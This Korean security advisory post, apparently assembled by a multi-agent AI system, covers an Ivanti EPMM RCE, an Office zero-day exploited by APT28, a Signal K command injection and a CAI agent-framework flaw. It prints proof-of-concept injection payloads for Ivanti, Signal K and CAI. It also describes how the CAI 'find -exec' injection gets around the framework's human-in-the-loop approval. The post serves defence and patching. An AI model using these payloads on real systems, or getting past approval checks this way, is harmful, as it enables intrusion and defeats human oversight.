"패치해도 롤백됩니다" Ivanti가 인정한 임시방편과 APT28의 실시간 공격
APT28 공격 캠페인 + Ivanti 제로데이 + Signal K RCE
📅 2026년 2월 3일 ~ 4일 (실시간 업데이트)🤖 Multi-Agent 긴급 취약점 분석 토론
1. Ivanti EPMM 운영 조직: 즉시 임시 RPM 패치 적용 + 외부 노출 차단
2. Microsoft Office: 1월 27일 긴급 패치 적용 필수, 동유럽 지역 조직 특히 주의
3. Signal K 서버: 1.5.0으로 업그레이드 또는 set-system-time 플러그인 비활성화
4. APT28 관련 IoC로 네트워크 모니터링 강화
개요
Ivanti Endpoint Manager Mobile (EPMM)의 Bash 스크립트에서 발견된 인증 불필요 원격 코드 실행 취약점입니다. Apache RewriteMap을 통해 전달된 사용자 입력이 Bash의 Arithmetic Expansion 과정에서 명령어로 실행됩니다. 2026년 1월 29일 CISA KEV에 추가되었으며, watchTowr Labs가 상세 분석을 공개했습니다. 정식 패치는 Q1 2026 예정이며, 현재는 임시 RPM 패치만 제공됩니다.
취약한 코드 분석
1# Apache RewriteMap이 이 스크립트를 호출 2# 입력: kid=1,st=VALUE,et=1337,h=HASH/file.ipa 3 4for theKeyMapEntry in "${theAppStoreKeyValueArray[@]}" ; do 5 theKey="${theKeyMapEntry%%=*}" 6 theValue="${theKeyMapEntry##*=}" # 사용자 입력 저장 7 8 case ${theKey} in 9 st) 10 gStartTime="${theValue}" # theValue를 참조! 11 ;; 12 h) 13 gHashPrefixString="${theValue}" # 마지막으로 처리됨 14 ;; 15 esac 16done 17 18# 취약한 라인: Arithmetic Expansion 발생 19if [[ ${theCurrentTimeSeconds} -gt ${gStartTime} ]] ; then 20 # gStartTime = "theValue" (변수 참조) 21 # theValue = "gPath[\`id > /tmp/pwned\`]" (공격자 페이로드) 22 # Arithmetic Expansion 시 backtick 내 명령어 실행! 23fi
PoC - HTTP Request (URL Encoded)
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue%20%20,et=1337133713,h=gPath%5B%60id%20%3E%20/mi/poc%60%5D/13371337-1337-1337-1337-133713371337.ipa HTTP/1.1 Host: target-epmm-server // URL Encoded Payload: // %5B = [ // %60 = ` (backtick) // %5D = ] // %20%20 = 2 spaces (length validation bypass)
PoC - HTTP Request (Decoded)
GET /mifs/c/appstore/fob/3/5/sha256:kid=1,st=theValue ,et=1337133713,h=gPath[`id > /mi/poc`]/13371337-1337-1337-1337-133713371337.ipa HTTP/1.1 Host: target-epmm-server // 공격 흐름: // 1. st=theValue → gStartTime이 "theValue" 변수를 참조 // 2. h=gPath[`cmd`] → theValue에 페이로드 저장 (마지막 처리) // 3. Arithmetic Expansion 시 gPath[`id > /mi/poc`] 평가 // 4. 배열 인덱스 해석 중 backtick 내 명령어 실행!
curl 명령어
영향받는 버전
| 제품 | 취약 버전 | 패치 현황 | 상태 |
|---|---|---|---|
| Ivanti EPMM 12.7.0.0 | 12.7.0.0 이하 | 임시 RPM 패치 (롤백 주의) | 임시 패치 |
| Ivanti EPMM 12.8.0.0 | - | Q1 2026 정식 패치 예정 | 예정 |
⚠️ 주의: 임시 RPM 패치는 이후 시스템 변경 시 롤백됩니다. 정식 패치 전까지 외부 노출 차단 권장.
대응 방안
- 즉시: 임시 RPM 패치 적용 (ivanti-security-update-1761642-1.0.0L-5.noarch.rpm)
- 네트워크: EPMM 서버 외부 접근 차단, VPN/내부망 전용 설정
- 모니터링: /mi/poc, /tmp 등 디렉토리에 비정상 파일 생성 감지
- 로그: Apache access log에서 /mifs/c/appstore/fob/ 경로 비정상 요청 모니터링
- 장기: Q1 2026 정식 패치(12.8.0.0) 배포 시 즉시 적용
개요
Microsoft Office의 OLE/COM 보안 기능 우회 취약점입니다. 러시아 APT28(Fancy Bear, UAC-0001)이 Operation Neusploit 캠페인에서 이 취약점을 적극 활용하고 있습니다. 우크라이나, 슬로바키아, 루마니아 정부 기관을 타겟으로 악성 RTF 파일을 통해 MiniDoor(이메일 스틸러)와 Covenant Grunt 임플란트를 배포합니다. Zscaler ThreatLabz와 CERT-UA가 동시에 경고를 발령했습니다.
APT28 공격 체인 분석
Phase 1: Initial Access ┌─────────────────────────────────────────────────────────────┐ │ Spear Phishing → Malicious RTF Document │ │ Languages: English, Romanian, Slovak, Ukrainian │ │ Exploits: CVE-2026-21509 (OLE Security Bypass) │ └─────────────────────────────────────────────────────────────┘ │ ▼ Phase 2: Payload Delivery (Two Variants) ┌──────────────────────┐ ┌──────────────────────┐ │ Dropper Variant A │ │ Dropper Variant B │ │ → MiniDoor │ │ → PixyNetLoader │ │ (Email Stealer) │ │ (Covenant Grunt) │ └──────────────────────┘ └──────────────────────┘ MiniDoor Capabilities: • Steals emails from Inbox, Junk, Drafts folders • Exfil to: ahmeclaw2002@outlook.com, ahmeclaw@proton.me • Stripped-down version of NotDoor/GONEPOSTAL PixyNetLoader Chain: • COM Object Hijacking for persistence • DLL Proxying technique • Steganography: Shellcode hidden in PNG (SplashScreen.png) • Final payload: Covenant Grunt implant
IoC (Indicators of Compromise)
대응 방안
- 즉시: 2026년 1월 27일 Out-of-Band 긴급 패치 적용
- 이메일: RTF 첨부파일 차단, 의심스러운 Office 문서 격리
- 네트워크: WebDAV 아웃바운드 연결 모니터링 및 차단
- EDR: COM Object 하이재킹, 비정상 DLL 로딩 탐지 룰 적용
- 인텔: 위 IoC로 SIEM/NDR 탐지 룰 생성
개요
Signal K Server는 보트/요트의 중앙 허브에서 실행되는 오픈소스 해양 데이터 서버입니다. set-system-time 플러그인에서 WebSocket을 통해 수신된 navigation.datetime 값이 적절한 검증 없이 쉘 명령어에 직접 삽입되어 원격 코드 실행이 가능합니다. 보안이 비활성화된 서버에서는 인증 없이도 공격 가능하며, sudo 권한이 있으면 root 권한으로 명령 실행됩니다.
취약한 코드
60stream.onValue(function (datetime) { 61 var child 62 if (process.platform == 'win32') { 63 console.error("Set-system-time supports only linux-like os's") 64 } else { 65 if( ! plugin.useNetworkTime(options) ){ 66 const useSudo = typeof options.sudo === 'undefined' || options.sudo 67 const setDate = `date --iso-8601 -u -s "${datetime}"` // VULNERABLE! 68 const command = useSudo 69 ? `if sudo -n date &> /dev/null ; then sudo ${setDate} ; else exit 3 ; fi` 70 : setDate 71 child = require('child_process').spawn('sh', ['-c', command]) // SHELL EXEC!
PoC - WebSocket Exploit
{
"context": "vessels.self",
"updates": [{
"values": [{
"path": "navigation.datetime",
"value": "$(id > /tmp/pwned)"
}]
}]
}
영향받는 버전
| 제품 | 취약 버전 | 패치 버전 | 상태 |
|---|---|---|---|
| Signal K Server | < 1.5.0 | 1.5.0 | 패치됨 |
| set-system-time plugin | 모든 이전 버전 | 75b11ea 커밋 이후 | 패치됨 |
대응 방안
- 즉시: Signal K Server 1.5.0으로 업그레이드
- 임시: set-system-time 플러그인 비활성화
- 보안: Signal K 서버 보안 기능 활성화 (인증 필수)
- sudo: 불필요한 passwordless sudo 설정 제거
- 네트워크: Signal K 서버 외부 노출 차단
개요
CAI(Cybersecurity AI)는 AI 보안을 위한 오픈소스 프레임워크입니다. find_file() 등 여러 도구에서 사용자 입력이 subprocess.Popen()에 shell=True로 직접 전달되어 임의 명령 실행이 가능합니다. 특히 find 명령이 "안전한" 사전 승인 명령으로 분류되어 human-in-the-loop 안전 메커니즘을 완전히 우회합니다. -exec 인자 주입으로 RCE 달성 가능합니다.
취약한 코드
58def find_file(args): 59 # 'find' is considered "safe" - NO user approval required! 60 result = subprocess.Popen( 61 f"find {args}", 62 shell=True, # VULNERABLE: shell metacharacters interpreted 63 stdout=subprocess.PIPE, 64 stderr=subprocess.PIPE 65 ) # Exploit: args = ". -exec id \;" # Executed: find . -exec id \; # Result: Arbitrary command execution bypassing safety checks
영향받는 버전
| 제품 | 취약 버전 | 패치 버전 | 상태 |
|---|---|---|---|
| CAI Framework | <= 0.5.10 | 커밋 e22a1220 이후 | 패치됨 |
대응 방안
- 즉시: CAI 프레임워크 최신 버전으로 업데이트 (커밋 e22a1220 이후)
- 검토: AI 도구의 "안전한 명령" 화이트리스트 재검토
- 격리: AI 프레임워크를 샌드박스 환경에서 실행
🔍 Agent #7 검증 보고서
CVE-2026-1281/1340 (Ivanti EPMM) 검증
✓ VERIFIED
- watchTowr Labs 분석 전문 크롤링 완료
- Bash Arithmetic Expansion 취약점 메커니즘 검증
- PoC HTTP 요청 형식 및 페이로드 구조 확인
- CISA KEV 등재 확인 (2026-01-29)
CVE-2026-21509 (MS Office Zero-Day) 검증
✓ VERIFIED
- The Hacker News APT28 분석 기사 크롤링 완료
- Zscaler ThreatLabz + CERT-UA 보고서 교차 검증
- MiniDoor, PixyNetLoader, Covenant Grunt 악성코드 체인 확인
- IoC(이메일 주소, 파일명, TTP) 검증 완료
CVE-2026-23515 (Signal K) 검증
✓ VERIFIED
- GitHub Advisory GHSA-p8gp-2w28-mhwg 크롤링 완료
- set-system-time/index.js line 60-71 취약 코드 확인
- spawn('sh', ['-c', command]) 취약 패턴 검증
- 패치 커밋 75b11ea 확인
CVE-2026-25130 (CAI Framework) 검증
✓ VERIFIED
- NVD 상세 페이지 크롤링 완료
- GitHub 취약 코드 위치 확인 (filesystem.py line 60)
- 패치 커밋 e22a1220 확인
📊 Executive Summary
🚨 최우선 대응
1. Ivanti EPMM: 임시 패치 적용 + 외부 노출 차단
2. MS Office: 1월 27일 긴급 패치 적용
3. APT28 IoC 기반 네트워크 모니터링
🎯 APT28 경보
러시아 APT28이 CVE-2026-21509를 활용한 Operation Neusploit 캠페인 진행 중. 우크라이나/동유럽 정부 기관 타겟. RTF 첨부파일 주의.
📅 타임라인
01-27: MS Office 긴급 패치
01-29: Ivanti CISA KEV 등재
02-02: Signal K CVE 공개
02-03: APT28 캠페인 공개
⚠️ 주의사항
Ivanti 임시 패치는 시스템 변경 시 롤백됨. Q1 2026 정식 패치 전까지 지속적인 모니터링 필요. 외부 노출 최소화 권장.
댓글
댓글 쓰기